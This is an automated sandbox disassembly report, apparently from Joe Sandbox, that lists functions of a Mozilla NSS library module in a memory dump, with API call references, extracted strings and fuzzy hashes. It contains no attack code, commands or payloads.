Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`Ql
API String ID: 1304971872-4177821029
Opcode ID: 2a5e5a221e2dedf9ef0acae37572b9b579830935d3af4ef4b871e935a1255c8b
Instruction ID: 5a854fdf8e2e96381da352b0409f4f856be3527840f932e8c6923eaad109c4af
Opcode Fuzzy Hash: 2a5e5a221e2dedf9ef0acae37572b9b579830935d3af4ef4b871e935a1255c8b
Instruction Fuzzy Hash: EAB148B1F013199BDF01DBA9DC85B9EBBB8AF04349F140025EC15E7A41EB31E994CBA1

Function 6C4B1FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C4B2007
calloc.MOZGLUE(00000001,00000084), ref: 6C4B2077
calloc.MOZGLUE(00000001,0000002C), ref: 6C4B20DF
TlsSetValue.KERNEL32(00000000), ref: 6C4B2188
PR_NewCondVar.NSS3 ref: 6C4B21B7
calloc.MOZGLUE(00000001,00000084), ref: 6C4B221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C4B22C2
GetLastError.KERNEL32 ref: 6C4B22CD
free.MOZGLUE(00000000), ref: 6C4B22DD

Part of subcall function 6C4B0F00: PR_GetPageSize.NSS3(6C4B0936,FFFFE8AE,?,6C4416B7,00000000,?,6C4B0936,00000000,?,6C44204A), ref: 6C4B0F1B
Part of subcall function 6C4B0F00: PR_NewLogModule.NSS3(clock,6C4B0936,FFFFE8AE,?,6C4416B7,00000000,?,6C4B0936,00000000,?,6C44204A), ref: 6C4B0F25

Strings

X bl, xrefs: 6C4B218E
T bl, xrefs: 6C4B2361

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T bl$X bl
API String ID: 3559583721-1118058576
Opcode ID: 78af715e31b7dcdf2a97c18a13e33092b6660f7669181f9b2f2a674f8b5114b1
Instruction ID: c81fad16a375d06c4cd0936ae0380f81e182e8cdb4f154be67df8f4bf9a0b12f
Opcode Fuzzy Hash: 78af715e31b7dcdf2a97c18a13e33092b6660f7669181f9b2f2a674f8b5114b1
Instruction Fuzzy Hash: 8E917BB06017019FDB24DF3AC889F5BBBF4BB06716F10452EE54AE6A40DB749409CFA9

Function 6C4CDDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C4CDDDE

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C4CDDF5

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C4CDE34
PR_Now.NSS3 ref: 6C4CDE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C4CDE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4CDEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C4CDEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C4CDED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C4CDEF0
PR_smprintf.NSS3(6C5FAAF9,(NULL) (Validity Unknown)), ref: 6C4CDF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4CDF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C4CDF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C4CDF33
free.MOZGLUE(00000000), ref: 6C4CDF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4CDF4B
free.MOZGLUE(00000000), ref: 6C4CDF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C4CDF8E

Strings

%s%s, xrefs: 6C4CDEEB
(NULL) (Validity Unknown), xrefs: 6C4CDEFA
{???}, xrefs: 6C4CDE8B

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 35c0bc6ec289edc00dd356ae4ed3d4f13ba8ba8899282828a95029549d00efdc
Instruction ID: fb03c7e699286f7ef8e0d332a527f026990a1cdf0d4e4cb7579e9649ecdb3f56
Opcode Fuzzy Hash: 35c0bc6ec289edc00dd356ae4ed3d4f13ba8ba8899282828a95029549d00efdc
Instruction Fuzzy Hash: A851B1B5E402119BDB00DF699C81EAF7AF8AF95359F144029E809E7B10E731ED05CBE2

Function 6C4F08F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6C4F094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4F0953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6C4F096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6C4F0974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C4F098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C4F0995

Part of subcall function 6C4F1800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C4F1860
Part of subcall function 6C4F1800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C4F09BF), ref: 6C4F1897
Part of subcall function 6C4F1800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C4F18AA
Part of subcall function 6C4F1800: memcpy.VCRUNTIME140(?,?,?), ref: 6C4F18C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C4F0B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C4F0B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C4F0B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6C4F0B78

Strings

info_hash, xrefs: 6C4F09E0
secret, xrefs: 6C4F0A88
key, xrefs: 6C4F0ACB
exp, xrefs: 6C4F0B36
base_nonce, xrefs: 6C4F0B06
psk_id_hash, xrefs: 6C4F09B5

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: d59218714755e31b55d7c98a34c03314c3e0f25ed507d73ca63e49cd401babb7
Instruction ID: 1fa79e22ea7db329ab7d2e743f6542cda0a4eb229505357ec1b7bf885993a39e
Opcode Fuzzy Hash: d59218714755e31b55d7c98a34c03314c3e0f25ed507d73ca63e49cd401babb7
Instruction Fuzzy Hash: 1D816A76604305AFD700CF54CC80D9AFBE9EFC8608F048919FAA997751E771E91ACB92

Function 6C502D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C502DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C502E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C502E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C502E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C4D4F1C,?,-00000001,00000000,?), ref: 6C502E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C4D4F1C,?,-00000001,00000000), ref: 6C502E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C502EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C502EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C502EF8
PR_Unlock.NSS3(?), ref: 6C502F62
TlsGetValue.KERNEL32 ref: 6C502F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C502F9E
PR_Unlock.NSS3(?), ref: 6C502FCA
TlsGetValue.KERNEL32 ref: 6C50301A
EnterCriticalSection.KERNEL32(?), ref: 6C50302E
PR_Unlock.NSS3(?), ref: 6C503066
PR_SetError.NSS3(00000000,00000000), ref: 6C503085
PR_Unlock.NSS3(?), ref: 6C5030EC
TlsGetValue.KERNEL32 ref: 6C50310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C503124
PR_Unlock.NSS3(?), ref: 6C50314C

Part of subcall function 6C4E9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C51379E,?,6C4E9568,00000000,?,6C51379E,?,00000001,?), ref: 6C4E918D
Part of subcall function 6C4E9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C51379E,?,6C4E9568,00000000,?,6C51379E,?,00000001,?), ref: 6C4E91A0

Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07AD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07CD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07D6
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C44204A), ref: 6C4B07E4
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,6C44204A), ref: 6C4B0864
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C4B0880
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C44204A), ref: 6C4B08CB
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08D7
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08FB

PR_SetError.NSS3(00000000,00000000), ref: 6C50316D

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 03f3c080f3f50887ee22a3eb2cfd29baf81558f1f5ba37c35e23cecc3ea35f2f
Instruction ID: 5f282833ba36973632cbd96040f453af88b921c1d7d427fe334569d14f8c6844
Opcode Fuzzy Hash: 03f3c080f3f50887ee22a3eb2cfd29baf81558f1f5ba37c35e23cecc3ea35f2f
Instruction Fuzzy Hash: 20F19AB5E00209EFDF00DF69DC85AAEBBB4BF09318F144569EC05A7B11E731A985CB91

Function 6C4C98E0 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 280stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E06A0: TlsGetValue.KERNEL32 ref: 6C4E06C2
Part of subcall function 6C4E06A0: EnterCriticalSection.KERNEL32(?), ref: 6C4E06D6
Part of subcall function 6C4E06A0: PR_Unlock.NSS3 ref: 6C4E06EB

PR_SetError.NSS3(FFFFE018,00000000,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4C9BA9

Part of subcall function 6C4E1750: PR_EnterMonitor.NSS3(?,?,00000000,00000000,?,6C4C991E,00000000,00000000,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4E1769
Part of subcall function 6C4E1750: PR_ExitMonitor.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4E180C

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4C9930
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4C995D
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4C997E
TlsGetValue.KERNEL32(?,?,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4C99AD
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4C99C4
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4C99E2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4C2D6B), ref: 6C4C9A1F
PK11_GetInternalKeySlot.NSS3(?,?,?,?,?,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4C9A27
TlsGetValue.KERNEL32 ref: 6C4C9AE1
EnterCriticalSection.KERNEL32(00000000), ref: 6C4C9AF5
PR_Unlock.NSS3 ref: 6C4C9B11
TlsGetValue.KERNEL32 ref: 6C4C9B3B
EnterCriticalSection.KERNEL32(00000000), ref: 6C4C9B4F
PR_Unlock.NSS3 ref: 6C4C9B72
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C4C9BC7

Part of subcall function 6C4D89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C4D88AE,-00000008), ref: 6C4D8A04
Part of subcall function 6C4D89E0: EnterCriticalSection.KERNEL32(?), ref: 6C4D8A15
Part of subcall function 6C4D89E0: memset.VCRUNTIME140(6C4D88AE,00000000,00000132), ref: 6C4D8A27
Part of subcall function 6C4D89E0: PR_Unlock.NSS3(?), ref: 6C4D8A35

Strings

k-Ll, xrefs: 6C4C9B7C, 6C4C9B83
k-Ll, xrefs: 6C4C9BE2

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Enter$CriticalSectionUnlockValue$ErrorMonitor$ExitInternalItem_K11_SlotUtilZfreememcpymemsetstrcmpstrlen
String ID: k-Ll$k-Ll
API String ID: 568628329-1458220403
Opcode ID: b03a82a37111700b33bf798d79227858d3fa5cca2ed0d2ae105ecb142a187499
Instruction ID: 618ac0a41501e4b883fc2e6a115d37626be31fe9242e5333b80b9cf1a6064b14
Opcode Fuzzy Hash: b03a82a37111700b33bf798d79227858d3fa5cca2ed0d2ae105ecb142a187499
Instruction Fuzzy Hash: 4E91D5B6E00105ABEB00EF65DC41EAA77B8AF5530DF154129EC0897B21FB32E95987D2

Function 6C4E9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C4E9FBE

Part of subcall function 6C4C2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C4C2F0A
Part of subcall function 6C4C2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C4C2F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C4EA015

Part of subcall function 6C501940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C50563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C50195C
Part of subcall function 6C501940: EnterCriticalSection.KERNEL32(?,?,6C50563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C4DEAC5,00000001), ref: 6C501970
Part of subcall function 6C501940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C4DEAC5,00000001,?,6C4DCE9B,00000001,6C4DEAC5), ref: 6C5019A0

PL_FreeArenaPool.NSS3(?), ref: 6C4EA067
PR_CallOnce.NSS3(6C622AA4,6C5212D0), ref: 6C4EA055

Part of subcall function 6C444C70: TlsGetValue.KERNEL32(?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444C97
Part of subcall function 6C444C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444CB0
Part of subcall function 6C444C70: PR_Unlock.NSS3(?,?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4EA07E
PR_CallOnce.NSS3(6C622AA4,6C5212D0), ref: 6C4EA0B1
PL_FreeArenaPool.NSS3(?), ref: 6C4EA0C7
PL_FinishArenaPool.NSS3(?), ref: 6C4EA0CF
PR_CallOnce.NSS3(6C622AA4,6C5212D0), ref: 6C4EA12E
PL_FreeArenaPool.NSS3(?), ref: 6C4EA140
PL_FinishArenaPool.NSS3(?), ref: 6C4EA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4EA158
PL_FinishArenaPool.NSS3(?), ref: 6C4EA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C4EA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C4EA1B2
free.MOZGLUE(00000000), ref: 6C4EA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C4EA1D6

Part of subcall function 6C5055E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C4DEAC5,00000001,?,6C4DCE9B,00000001,6C4DEAC5,00000003,-00000004,00000000,?,6C4DEAC5), ref: 6C505627
Part of subcall function 6C5055E0: PR_CallOnce.NSS3(6C622AA4,6C5212D0,?,?,?,?,?,?,?,?,?,?,6C4DEAC5,00000001,?,6C4DCE9B), ref: 6C50564F
Part of subcall function 6C5055E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C4DEAC5,00000001), ref: 6C505661
Part of subcall function 6C5055E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4DEAC5), ref: 6C5056AF

Strings

security, xrefs: 6C4EA00F

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: e3e7080e30cb9495720adb060feedd910f9a426094db4948988ba0b9574177dc
Instruction ID: 5fe2dd06e51bceebf664b06f82e3c3d187c614d84e90e75a65ac9666907c7f6b
Opcode Fuzzy Hash: e3e7080e30cb9495720adb060feedd910f9a426094db4948988ba0b9574177dc
Instruction Fuzzy Hash: 3C51FB75E003099BEB00DFA5DC45FAFB774AF4930EF164028E805AAB81EB75D909C792

Function 6C504C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C504C4C
EnterCriticalSection.KERNEL32(?), ref: 6C504C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C504CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C504CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C504CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C504D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C504D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C504DB7

Part of subcall function 6C56DD70: TlsGetValue.KERNEL32 ref: 6C56DD8C
Part of subcall function 6C56DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C56DDB4

Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07AD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07CD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07D6
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C44204A), ref: 6C4B07E4
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,6C44204A), ref: 6C4B0864
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C4B0880
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C44204A), ref: 6C4B08CB
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08D7
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08FB

TlsGetValue.KERNEL32 ref: 6C504DD7
EnterCriticalSection.KERNEL32(?), ref: 6C504DEC
PR_Unlock.NSS3(?), ref: 6C504E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C504E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C504E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C504E71
free.MOZGLUE(00000000), ref: 6C504E7A
PR_Unlock.NSS3(?), ref: 6C504EA2
TlsGetValue.KERNEL32 ref: 6C504EC1
EnterCriticalSection.KERNEL32(?), ref: 6C504ED6
PR_Unlock.NSS3(?), ref: 6C504F01
free.MOZGLUE(00000000), ref: 6C504F2A

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 5f9672ffddd3aa0726dc85918743b145628ad9e1a13004fb182ea391c5fbf214
Instruction ID: ed3f2643a12b8177d3bfe5e9916c9d27e37d5dd3059ee312a3f206b976e619ac
Opcode Fuzzy Hash: 5f9672ffddd3aa0726dc85918743b145628ad9e1a13004fb182ea391c5fbf214
Instruction Fuzzy Hash: D8B1EAB5A00205EFDB00EF69DC85AAA77B4BF19319F044129EC05D7B00EB35E960CB92

Function 6C50FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C50FFB4

Part of subcall function 6C5898D0: calloc.MOZGLUE(00000001,00000084,6C4B0936,00000001,?,6C4B102C), ref: 6C5898E5

